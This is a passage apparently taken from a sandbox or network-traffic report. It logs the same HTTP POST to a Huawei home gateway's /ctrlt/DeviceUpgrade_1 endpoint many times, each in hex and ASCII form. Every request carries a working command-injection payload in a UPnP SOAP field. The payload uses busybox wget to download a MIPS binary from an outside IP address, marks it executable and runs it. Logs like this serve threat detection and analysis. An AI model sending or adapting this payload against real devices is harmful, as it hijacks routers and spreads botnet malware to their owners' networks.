78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
